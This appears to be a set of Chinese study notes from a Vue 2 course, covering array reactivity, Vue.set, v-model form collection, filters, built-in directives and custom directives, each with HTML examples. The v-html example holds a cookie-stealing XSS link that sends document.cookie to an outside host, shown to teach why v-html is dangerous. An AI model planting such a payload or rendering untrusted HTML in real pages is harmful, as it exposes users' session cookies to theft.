1. 列表渲染（接五）
1.1 Vue监测数据的原理—数组
修改数组：最后追加元素：push；删除最后一个元素：pop；删除第一个元素：shift；在最前面加一个：unshift;在指定位置插入一个元素/替换掉指定位置的某个元素：splice；对数组排序：sort；反转数组：reverse
把第一个喝酒替换成打台球
正常来说hobby写成数组形式控制台修改Vue检测不到，页面上不给你改，加了上面的7种方法vue就能识别
1.2 总结vue监视数据
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>总结数据监视</title>
<style>
button{
margin-top: 10px;
}
</style>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--
Vue监视数据的原理：
1. vue会监视data中所有层次的数据。
2. 如何监测对象中的数据？
通过setter实现监视，且要在new Vue时就传入要监测的数据。
(1).对象中后追加的属性，Vue默认不做响应式处理
(2).如需给后添加的属性做响应式，请使用如下API：
Vue.set(target，propertyName/index，value) 或
vm.$set(target，propertyName/index，value)
3. 如何监测数组中的数据？
通过包裹数组更新元素的方法实现，本质就是做了两件事：
(1).调用原生对应的方法对数组进行更新。
(2).重新解析模板，进而更新页面。
4.在Vue修改数组中的某个元素一定要用如下方法：
1.使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
2.Vue.set() 或 vm.$set()
特别注意：Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象（vm._data） 添加属性！！！
-->
<!-- 准备好一个容器-->
<div id="root">
<h1>学生信息</h1>
<button @click="student.age++">年龄+1岁</button> <br/>
<button @click="addSex">添加性别属性，默认值：男</button> <br/>
<button @click="student.sex = '未知' ">修改性别</button> <br/>
<button @click="addFriend">在列表首位添加一个朋友</button> <br/>
<button @click="updateFirstFriendName">修改第一个朋友的名字为：张三</button> <br/>
<button @click="addHobby">添加一个爱好</button> <br/>
<button @click="updateHobby">修改第一个爱好为：开车</button> <br/>
<button @click="removeSmoke">过滤掉爱好中的抽烟</button> <br/>
<h3>姓名：{{student.name}}</h3>
<h3>年龄：{{student.age}}</h3>
<h3 v-if="student.sex">性别：{{student.sex}}</h3>
<h3>爱好：</h3>
<ul>
<li v-for="(h,index) in student.hobby" :key="index">
{{h}}
</li>
</ul>
<h3>朋友们：</h3>
<ul>
<li v-for="(f,index) in student.friends" :key="index">
{{f.name}}--{{f.age}}
</li>
</ul>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el:'#root',
data:{
student:{
name:'tom',
age:18,
hobby:['抽烟','喝酒','烫头'],
friends:[
//外面是数组，但是里面是对象name，age有get/set
{name:'jerry',age:35},
{name:'tony',age:36}
]
}
},
methods: {
addSex(){
// Vue.set(this.student,'sex','男')
this.$set(this.student,'sex','男')
},
addFriend(){
this.student.friends.unshift({name:'jack',age:70})
},
updateFirstFriendName(){
this.student.friends[0].name = '张三'
},
addHobby(){
this.student.hobby.push('学习')
},
updateHobby(){
//三种都能改
// this.student.hobby.splice(0,1,'开车')
// Vue.set(this.student.hobby,0,'开车')
this.$set(this.student.hobby,0,'开车')
},
removeSmoke(){
//filter不是由vue控制的函数，尽可能写成箭头函数
//过滤完的直接替掉了
this.student.hobby = this.student.hobby.filter((h)=>{
return h !== '抽烟'
})
}
}
})
</script>
</html>2. 收集表单数据
效果
for关联id，label为demo服务，点击账号鼠标也可以定位框
输入值就是value，用v-model关联的是value值，没有value值没法关联
多选框用v-model除配置value外，要把hobby对应的写成数组形式
第一个number控制输入的不可能是字母啥的，原生html就有
第二个是vue提供的
保证在页面改动时控制台也是数字形式，不加默认字符串“30”
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>收集表单数据</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--
收集表单数据：
若：<input type="text"/>，则v-model收集的是value值，用户输入的就是value值。
若：<input type="radio"/>，则v-model收集的是value值，且要给标签配置value值。
若：<input type="checkbox"/>
1.没有配置input的value属性，那么收集的就是checked（勾选 or 未勾选，是布尔值）
2.配置input的value属性:
(1)v-model的初始值是非数组，那么收集的就是checked（勾选 or 未勾选，是布尔值）
(2)v-model的初始值是数组，那么收集的的就是value组成的数组，正常的复选框
备注：v-model的三个修饰符：
lazy：失去焦点再收集数据
number：输入字符串转为有效的数字
trim：输入首尾空格过滤
-->
<!-- 准备好一个容器-->
<div id="root">
<!-- action=""属性用于指定表单提交的地址 -->
<!-- @submit.prevent="demo"阻止表单默认得点击提交自动跳转，demo是vue里定义的方法 -->
<form @submit.prevent="demo">
<!-- .trim去掉前后空格，无论输入多少空格都不接收，中间的空格不去 -->
账号：<input type="text" v-model.trim="userInfo.account"> <br/><br/>
密码：<input type="password" v-model="userInfo.password"> <br/><br/>
年龄：<input type="number" v-model.number="userInfo.age"> <br/><br/>
性别：
<!-- radio单选框，控制name属性，他俩一组的 -->
<!-- value值提前写上male/female -->
男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>
爱好：
学习<input type="checkbox" v-model="userInfo.hobby" value="study">
打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
<br/><br/>
所属校区
<select v-model="userInfo.city">
<!-- 下拉菜单 -->
<option value="">请选择校区</option>
<option value="beijing">北京</option>
<option value="shanghai">上海</option>
<option value="shenzhen">深圳</option>
<option value="wuhan">武汉</option>
</select>
<br/><br/>
其他信息：
<!-- textarea多行输入 -->
<!-- 加了lazy就不是时时刻刻收集了，失去焦点的一瞬间控制台收集输入 -->
<textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
<input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a>
<button>提交</button>
</form>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
userInfo:{
account:'',
password:'',
age:18,
sex:'female',//默认值一上来就是女
hobby:[],//得写成一个数组，hobby得初始值能够影响着v-model收集回来的数据
city:'beijing',//一上来北京默认
other:'',
agree:''//是checkbox但是这不需要value值，要的就是勾不勾
}
},
methods: {
demo(){
//转成JSON，将 JavaScript 对象转换为字符串
//JSON.stringify(value[, replacer[, space]])
console.log(JSON.stringify(this.userInfo))
}
}
})
</script>
</html>3.过滤器
效果：
时间戳，实现把它翻译成能看懂的年月日时分秒形式
过滤器
拿着time传给timeFormater，返回值替换整个红色框（过滤器的本质就是一个函数）
time传给timeFormater，返回值再给myslice，（0，4）表示截取前四位
局部过滤器，只能当前的vue实例用，再出现vue实例就不能用了
局部过滤器再配置项里可以写多个，全局得一个一个写
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>过滤器</title>
<script type="text/javascript" src="../js/vue.js"></script>
<script type="text/javascript" src="../js/dayjs.min.js"></script>
</head>
<body>
<!--
过滤器：
定义：对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）。
语法：
1.注册过滤器：Vue.filter(name,callback) 或 new Vue{filters:{}}
2.使用过滤器：{{ xxx | 过滤器名}} 或 v-bind:属性 = "xxx | 过滤器名"
备注：
1.过滤器也可以接收额外参数、多个过滤器也可以串联
2.并没有改变原本的数据, 是产生新的对应的数据
-->
<!-- 过滤器一个是插值语法，一个是v-bind用法 -->
<!-- 准备好一个容器-->
<div id="root">
<h2>显示格式化后的时间</h2>
<!-- 计算属性实现 法一-->
<h3>现在是：{{fmtTime}}</h3>
<!-- methods实现 法二-->
<h3>现在是：{{getFmtTime()}}</h3>
<!-- 过滤器实现 法三-->
<h3>现在是：{{time | timeFormater}}</h3>
<!-- 过滤器实现（传参） 对time过滤，timeFormater实现，mySlice在timeFormater基础上再噶掉不要的-->
<h3>现在是：{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
<h3 :x="msg | mySlice">尚硅谷</h3>
</div>
<div id="root2">
<h2>{{msg | mySlice}}</h2>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
//全局过滤器
Vue.filter('mySlice',function(value){
return value.slice(0,4)
})
new Vue({
el:'#root',
data:{
time:1621561377603, //时间戳
msg:'你好，尚硅谷'
},
computed: {
fmtTime(){
return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
}
},
methods: {
getFmtTime(){
return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
}
},
//局部过滤器
filters:{
//value值就是time，后面再有参数str就是上面timeFormater括号里的
//现在这个写法：str如果上面括号里有值就用上面的，上面括号没值就用下面str给定的值
timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss'){
// console.log('@',value)
return dayjs(value).format(str)
}
}
})
new Vue({
el:'#root2',
data:{
msg:'hello,atguigu!'
}
})
</script>
</html>4. 内置指令
4.1 v-text指令
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-text指令</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--
我们学过的指令：
v-bind : 单向绑定解析表达式, 可简写为 :xxx
v-model : 双向数据绑定
v-for : 遍历数组/对象/字符串
v-on : 绑定事件监听, 可简写为@
v-if : 条件渲染（动态控制节点是否存存在）
v-else : 条件渲染（动态控制节点是否存存在）
v-show : 条件渲染 (动态控制节点是否展示)
v-text指令：
1.作用：向其所在的节点中插入文本内容。
2.与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则不会。
-->
<!-- 准备好一个容器-->
<div id="root">
<div>你好，{{name}}</div>
<!-- v-text="name"拿到name的值,替换掉整个div的内容 -->
<div v-text="name"></div>
<!-- v-text="str"把所有字符串都当成文本解析,不会当成标签 -->
<div v-text="str"></div>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
name:'尚硅谷',
str:'<h3>你好啊！</h3>'
}
})
</script>
</html>4.2 v-html指令
cookie很重要，保存着用户名和个人信息等等
cookie不允许跨浏览器读
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-html指令</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--
v-html指令：跟v-text差不多,但是支持结构解析
1.作用：向指定节点中渲染包含html结构的内容。
2.与插值语法的区别：
(1).v-html会替换掉节点中所有的内容，{{xx}}则不会。
(2).v-html可以识别html结构。
3.严重注意：v-html有安全性问题！！！！
(1).在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。
(2).一定要在可信的内容上使用v-html，永不要用在用户提交的内容上！
-->
<!-- 准备好一个容器-->
<div id="root">
<div>你好，{{name}}</div>
<div v-html="str"></div>
<div v-html="str2"></div>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
name:'尚硅谷',
str:'<h3>你好啊！</h3>',
str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>',
}
})
</script>
</html>4.3 v-cloak指令(没值)
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-cloak指令</title>
<style>
/* 选中所有标签里有v-cloak的元素*/
[v-cloak]{
/* {{name}}结构跑到页面上了,但是控制样式隐藏了 */
display:none;
}
</style>
<!-- 引入Vue -->
</head>
<body>
<!--
v-cloak指令（没有值）：作用:当你网速特别慢,可以阻止没有解析的模板跑到页面上
1.本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性。
2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
-->
<!-- vue引入放这5s延时,js阻塞,vue引入不了,js模块和上面的容器模块都不会被执行 -->
<!-- <script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script> -->
<!-- 准备好一个容器 -->
<div id="root">
<!-- v-cloak,vue一介入就被系统删除了 -->
<h2 v-cloak>{{name}}</h2>
</div>
<!-- 放这会使容器的东西在页面上显示过5s后才被解析,解决用cloak -->
<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
</body>
<script type="text/javascript">
console.log(1)
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
name:'尚硅谷'
}
})
</script>
</html>4.4 v-once指令（没值）
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-once指令</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--
v-once指令：
1.v-once所在节点在初次动态渲染后，就视为静态内容了。
2.以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。
-->
<!-- 准备好一个容器-->
<div id="root">
<h2 v-once>初始化的n值是:{{n}}</h2>
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
n:1
}
})
</script>
</html>4.5 v-pre指令（别乱加，减少无用解析，提高效率）
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-pre指令</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--
v-pre指令：
1.跳过其所在节点的编译过程。
2.可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。
-->
<!-- 准备好一个容器-->
<div id="root">
<h2 v-pre>Vue其实很简单</h2>
<h2 >当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
n:1
}
})
</script>
</html>5. 自定义指令
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>自定义指令</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--
需求1：定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍。
需求2：定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点。
自定义指令总结：
一、定义语法：
(1).局部指令：
new Vue({ new Vue({
directives:{指令名:配置对象} 或 directives{指令名:回调函数}
}) })
(2).全局指令：
Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数)
二、配置对象中常用的3个回调：
(1).bind：指令与元素成功绑定时调用。
(2).inserted：指令所在元素被插入页面时调用。
(3).update：指令所在模板结构被重新解析时调用。
三、备注：
1.指令定义时不加v-，但使用时要加v-；
2.指令名如果是多个单词，要使用kebab-case命名方式，不要用camelCase命名。
-->
<!-- 准备好一个容器-->
<div id="root">
<h2>{{name}}</h2>
<h2>当前的n值是：<span v-text="n"></span> </h2>
<!-- <h2>放大10倍后的n值是：<span v-big-number="n"></span> </h2> -->
<h2>放大10倍后的n值是：<span v-big="n"></span> </h2>
<button @click="n++">点我n+1</button>
<hr/>
<input type="text" v-fbind:value="n">
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
//定义全局指令
/* Vue.directive('fbind',{
//指令与元素成功绑定时（一上来）
bind(element,binding){
element.value = binding.value
},
//指令所在元素被插入页面时
inserted(element,binding){
element.focus()
},
//指令所在的模板被重新解析时
update(element,binding){
element.value = binding.value
}
}) */
new Vue({
el:'#root',
data:{
name:'尚硅谷',
n:1
},
//directives全新的配置项,自定义的写这里头
directives:{
//big函数何时会被调用？1.指令与元素成功绑定时（一上来）。
//2.指令所在的模板被重新解析时。(无论改的是name还是n,都会引起模板重新解析)
/* 两个单词的指令big-number,不用驼峰法定义,包个引号
'big-number'(element,binding){
// console.log('big')
element.innerText = binding.value * 10
}, */
//big用函数写简单
// element接收真实的dom元素(span) binding是v-big和span做绑定,真实用到的就是value(n正经值)
big(element,binding){
//所有指令相关得回调里的this都是window,下面函数一样的
console.log('big',this) //注意此处的this是window
// console.log('big')
element.innerText = binding.value * 10
},
fbind:{
// 这个element指那个input框
//指令与元素成功绑定时调用（一上来）
bind(element,binding){
element.value = binding.value
},
//指令所在元素被插入页面时调用
inserted(element,binding){
element.focus()
},
//指令所在的模板被重新解析时调用
update(element,binding){
element.value = binding.value
}
}
}
})
</script>
</html><!DOCTYPE html>//回顾一个dom操作
<html>
<head>
<meta charset="UTF-8" />
<title>Document</title>
<style>
.demo{
background-color: orange;
}
</style>
</head>
<body>
<button id="btn">点我创建一个输入框</button>
<script type="text/javascript" >
const btn = document.getElementById('btn')
btn.onclick = ()=>{
//创建一个input框
const input = document.createElement('input')
input.className = 'demo'
input.value = 99
input.onclick = ()=>{alert(1)}
document.body.appendChild(input)//把这个框放入页面
input.focus()//得在input放入页面当子元素后执行
// input.parentElement.style.backgroundColor = 'skyblue'
console.log(input.parentElement)
}
</script>
</body>
</html>
